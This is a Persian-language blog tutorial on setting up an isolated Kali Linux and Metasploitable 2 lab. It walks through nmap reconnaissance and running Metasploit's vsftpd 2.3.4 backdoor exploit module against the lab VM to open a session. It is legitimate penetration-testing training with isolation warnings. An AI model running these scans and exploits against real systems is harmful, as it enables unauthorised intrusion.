ساخت آزمایشگاه هک با Kali Linux و Metasploitable 2؛ اولین تست نفوذ در محیط کاملاً قانونی

Building a Hacking Lab with Kali Linux and Metasploitable 2
1 دیدگاه
۱۴۰۵-۰۶-۰۵ ۱۱:۵۱:۰۷

اگر آموزش Kali Linux و سپس Metasploit Framework را دنبال کرده‌اید، قدم بعدی این است که یک محیط واقعی برای تمرین بسازید.

در این آموزش، یک آزمایشگاه کاملاً ایزوله با دو ماشین مجازی ایجاد می‌کنیم:

  • 🐉 Kali Linux → سیستم تست نفوذ
  • 🎯 Metasploitable 2 → سیستم عمداً آسیب‌پذیر برای تمرین

هدف این آموزش، یادگیری فرایند واقعی تست نفوذ است؛ یعنی از شناسایی هدف شروع می‌کنیم، سرویس‌ها را بررسی می‌کنیم، آسیب‌پذیری را پیدا می‌کنیم و سپس در محیط آزمایشگاهی آن را اعتبارسنجی می‌کنیم.

⚠️ هشدار مهم: Metasploitable 2 عمداً آسیب‌پذیر است. آن را هرگز مستقیماً به اینترنت یا شبکه‌ای که سیستم‌های واقعی در آن قرار دارند متصل نکنید. تمام دستورات این آموزش فقط برای آزمایشگاه شخصی و اهدافی است که اجازه تست آن‌ها را دارید.


معماری آزمایشگاه

ساختار پیشنهادی به شکل زیر است:

                 ┌──────────────────┐
                 │    Kali Linux    │
                 │  Testing Machine │
                 │   192.168.56.10  │
                 └────────┬─────────┘
                          │
                    Host-Only LAN
                          │
                 ┌────────▼─────────┐
                 │  Metasploitable 2 │
                 │   Lab Target      │
                 │   192.168.56.20   │
                 └───────────────────┘

در این سناریو، هر دو ماشین فقط در شبکه آزمایشگاهی با یکدیگر ارتباط دارند.


۱. آماده‌سازی Kali Linux

اگر طبق آموزش قبلی Kali Linux را روی VMware نصب کرده‌اید، ابتدا آن را روشن کنید.

ترمینال را باز کنید و سیستم را به‌روز کنید:

sudo apt update
sudo apt full-upgrade -y

سپس IP سیستم را بررسی کنید:

ip addr

یا:

ip a

به دنبال Interface شبکه‌ای مثل eth0 یا ens33 بگردید.


۲. اضافه کردن Metasploitable 2 به VMware

Metasploitable 2 یک ماشین مجازی عمداً آسیب‌پذیر است که برای آموزش تست نفوذ طراحی شده است.

بعد از دریافت فایل ماشین مجازی، آن را از حالت فشرده خارج کنید.

در VMware:

Open a Virtual Machine
        ↓
انتخاب فایل Metasploitable
        ↓
Power On

اگر VMware درباره کپی یا جابه‌جایی ماشین سؤال کرد، برای آزمایشگاه جدید معمولاً گزینه مربوط به ایجاد شناسه جدید ماشین مجازی را انتخاب کنید.


۳. مهم‌ترین قسمت: تنظیم شبکه

برای اینکه سیستم آسیب‌پذیر به اینترنت دسترسی نداشته باشد، شبکه آزمایشگاه را از شبکه واقعی جدا کنید.

در VMware وارد:

VM Settings
      ↓
Network Adapter

شوید.

برای آزمایشگاه می‌توانید از:

Host-only

استفاده کنید.

ساختار باید تقریباً چنین باشد:

Kali Linux
     │
     ├──── Host-only Network
     │
Metasploitable 2

چرا Host-only؟

چون هدف ما این است که:

Kali ↔ Metasploitable

با یکدیگر ارتباط داشته باشند، اما Metasploitable به شبکه واقعی یا اینترنت دسترسی نداشته باشد.


۴. پیدا کردن IP متاسپلویتبل

پس از روشن کردن Metasploitable 2 وارد سیستم شوید.

اطلاعات پیش‌فرض این ماشین آموزشی معمولاً:

Username: msfadmin
Password: msfadmin

سپس:

ifconfig

یا:

ip addr

را اجرا کنید.

مثلاً ممکن است IP زیر را ببینید:

192.168.56.20

IP شما ممکن است متفاوت باشد.

در ادامه فرض می‌کنیم:

Kali          192.168.56.10
Metasploitable 192.168.56.20

این IPها فقط نمونه هستند؛ همیشه IP واقعی آزمایشگاه خودتان را استفاده کنید.


۵. تست ارتباط بین دو ماشین

در Kali اجرا کنید:

ping 192.168.56.20

اگر پاسخ دریافت کردید، ارتباط برقرار است:

64 bytes from 192.168.56.20

برای توقف:

Ctrl + C

اگر Ping جواب نداد، ابتدا تنظیمات Network Adapter هر دو ماشین را بررسی کنید.


۶. اولین مرحله تست نفوذ: شناسایی

در تست نفوذ حرفه‌ای، مستقیماً سراغ Exploit نمی‌رویم.

ابتدا باید بفهمیم هدف چه سرویس‌هایی ارائه می‌کند.

از Kali:

nmap 192.168.56.20

ممکن است نتیجه‌ای شبیه این مشاهده کنید:

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql

این اولین نکته مهم آموزشی است:

هر پورت باز الزاماً به معنی آسیب‌پذیری نیست.

ما باید سرویس و نسخه آن را نیز بررسی کنیم.


۷. تشخیص نسخه سرویس‌ها

برای دریافت اطلاعات بیشتر:

nmap -sV 192.168.56.20

گزینه -sV تلاش می‌کند نسخه سرویس‌های شناسایی‌شده را مشخص کند.

مثلاً ممکن است ببینید:

21/tcp open ftp vsftpd 2.3.4

اکنون اطلاعات بسیار ارزشمندتری داریم.

به‌جای اینکه کورکورانه Exploit اجرا کنیم، می‌دانیم:

Service → FTP
Software → vsftpd
Version → 2.3.4

۸. جست‌وجوی آسیب‌پذیری در Metasploit

حالا Metasploit را اجرا کنید:

msfconsole

سپس:

search vsftpd 2.3.4

اگر ماژول مرتبط در نسخه Metasploit شما موجود باشد، می‌توانید اطلاعات آن را بررسی کنید.

مثلاً:

info exploit/unix/ftp/vsftpd_234_backdoor

این مرحله بسیار مهم است.

قبل از اجرای هر Exploit باید بدانیم:

  • برای چه نرم‌افزاری ساخته شده؟
  • نسخه موردنیاز چیست؟
  • چه Targetهایی پشتیبانی می‌شوند؟
  • چه گزینه‌هایی دارد؟
  • چه Payloadی استفاده می‌شود؟

۹. انتخاب ماژول

در محیط آزمایشگاهی می‌توانیم ماژول مربوط به همین سرویس را انتخاب کنیم:

use exploit/unix/ftp/vsftpd_234_backdoor

سپس:

show options

گزینه‌های موردنیاز نمایش داده می‌شوند.

در این سناریو، مهم‌ترین گزینه، آدرس ماشین آزمایشگاهی است.


۱۰. تعیین سیستم هدف

IP متاسپلویتبل را تنظیم کنید:

set RHOSTS 192.168.56.20

سپس دوباره بررسی کنید:

show options

اطمینان حاصل کنید که Target همان ماشین آزمایشگاهی خودتان است.


۱۱. اجرای تست

اکنون در محیط کاملاً آزمایشگاهی می‌توانید ماژول را اجرا کنید:

run

یا:

exploit

اگر نسخه سرویس و شرایط آزمایشگاه با ماژول سازگار باشند، Metasploit ممکن است یک Session ایجاد کند.


۱۲. بررسی Session

برای مشاهده Sessionهای فعال:

sessions

اگر Session ایجاد شده باشد، اطلاعات آن نمایش داده می‌شود.

برای تعامل با یک Session مشخص:

sessions -i <ID>

به‌جای <ID> شناسه‌ای را قرار دهید که Metasploit نمایش داده است.


۱۳. حالا واقعاً چه چیزی یاد گرفتیم؟

نکته اصلی این تمرین خود Exploit نیست.

ما یک فرایند واقعی تست نفوذ را تمرین کردیم:

                 شروع
                   │
                   ▼
          شناسایی سیستم هدف
                   │
                   ▼
          کشف پورت‌های باز
                   │
                   ▼
          تشخیص سرویس‌ها
                   │
                   ▼
          تشخیص نسخه سرویس
                   │
                   ▼
       بررسی آسیب‌پذیری احتمالی
                   │
                   ▼
         پیدا کردن Module مناسب
                   │
                   ▼
          بررسی تنظیمات Module
                   │
                   ▼
          اجرای تست در آزمایشگاه
                   │
                   ▼
            تحلیل نتیجه

این همان ذهنیتی است که یک Penetration Tester باید داشته باشد.


۱۴. تمرین دوم: بررسی HTTP

Metasploitable 2 سرویس‌های متعددی دارد و همین موضوع آن را برای یادگیری بسیار مناسب می‌کند.

اگر پورت 80 باز بود، در مرورگر Kali وارد شوید:

http://192.168.56.20

صفحه وب ماشین آزمایشگاهی را مشاهده خواهید کرد.

سپس می‌توانید اطلاعات بیشتری درباره وب‌سرور جمع‌آوری کنید.

برای مثال:

nmap -sV -p 80 192.168.56.20

در این مرحله هدف فقط شناسایی است.


۱۵. تمرین سوم: اسکن دقیق‌تر

برای مشاهده اطلاعات بیشتر درباره سرویس‌ها:

nmap -sC -sV 192.168.56.20

این دستور اسکریپت‌های پیش‌فرض Nmap را نیز اجرا می‌کند.

برای یک آزمایشگاه آموزشی بسیار مفید است، چون اطلاعات بیشتری درباره سرویس‌های در دسترس به شما می‌دهد.


۱۶. اشتباه رایج مبتدی‌ها

❌ این کار را انجام ندهید:

Nmap
↓
یک Exploit
↓
run

بدون اینکه بدانید سرویس چیست و چرا آسیب‌پذیر است.

روش حرفه‌ای:

Reconnaissance
      ↓
Enumeration
      ↓
Version Detection
      ↓
Vulnerability Analysis
      ↓
Exploit Selection
      ↓
Validation
      ↓
Reporting

۱۷. چند نکته مهم برای آزمایشگاه

🔒 شبکه را ایزوله نگه دارید

Metasploitable 2 عمداً آسیب‌پذیر است و نباید در شبکه عمومی قرار بگیرد.

💾 Snapshot بگیرید

قبل از آزمایش‌های مختلف از ماشین مجازی Snapshot بگیرید.

📝 نتایج را ثبت کنید

برای هر تست یادداشت کنید:

Target IP:
Open Ports:
Services:
Versions:
Potential Vulnerability:
Test Result:

این عادت بعدها در تهیه گزارش‌های حرفه‌ای تست نفوذ بسیار مفید خواهد بود.


🎯 تمرین پیشنهادی برای کاربران

حالا نوبت شماست.

بدون اینکه مستقیماً سراغ Exploit بروید، ابتدا این دستور را اجرا کنید:

nmap -sV 192.168.56.20

سپس ۵ سرویس از سرویس‌های پیدا شده را انتخاب کنید و برای هرکدام مشخص کنید:

  1. نام سرویس چیست؟
  2. نسخه آن چیست؟
  3. آیا آسیب‌پذیری شناخته‌شده‌ای دارد؟
  4. آیا Metasploit برای آن Module دارد؟
  5. چرا آن Module برای این نسخه مناسب است؟

این تمرین باعث می‌شود به‌جای حفظ کردن دستورات، طرز فکر یک تست نفوذکار را یاد بگیرید.

دسته بندی‌ها:

دیدگاه‌ها

  1. حسین فردینی

    لطفا آموزش و دوره های پیشرفته تر هم اضاف کنید به سایت

دیدگاه شما

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *